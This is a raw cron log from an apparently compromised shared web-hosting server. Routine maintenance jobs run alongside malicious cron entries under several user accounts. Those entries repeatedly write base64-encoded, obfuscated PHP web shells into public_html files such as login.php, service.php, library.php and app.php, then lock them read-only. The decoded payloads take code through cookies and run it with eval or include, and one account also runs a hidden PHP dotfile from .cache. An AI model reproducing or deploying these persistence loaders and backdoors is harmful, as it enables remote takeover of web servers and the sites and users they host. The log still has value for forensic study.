3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:10:02 medusa CROND[24953]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 10:10:02 medusa CROND[24966]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 10:10:02 medusa CROND[24964]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 10:10:02 medusa CROND[24974]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:10:02 medusa CROND[24969]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 10:10:02 medusa CROND[24978]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 10:10:02 medusa CROND[24984]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 10:10:02 medusa CROND[24985]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:10:02 medusa CROND[24988]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:10:02 medusa CROND[24997]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:10:02 medusa CROND[24998]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 10:10:02 medusa CROND[25002]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:10:02 medusa CROND[25011]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:11:01 medusa CROND[14859]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:11:01 medusa CROND[14910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:11:01 medusa CROND[14916]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:11:01 medusa CROND[14917]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:11:01 medusa CROND[14918]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:11:01 medusa CROND[14919]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:11:01 medusa CROND[14920]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:11:01 medusa CROND[14922]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:11:01 medusa CROND[14923]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 10:11:01 medusa CROND[14924]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:11:01 medusa CROND[14925]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:11:01 medusa CROND[14930]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:11:01 medusa CROND[14933]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 10:12:01 medusa CROND[3520]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:12:01 medusa CROND[3649]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:12:01 medusa CROND[3650]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:12:01 medusa CROND[3648]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 10:12:01 medusa CROND[3652]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:12:01 medusa CROND[3651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:12:01 medusa CROND[3654]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:12:01 medusa CROND[3655]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:12:01 medusa CROND[3656]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 10:12:01 medusa CROND[3657]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
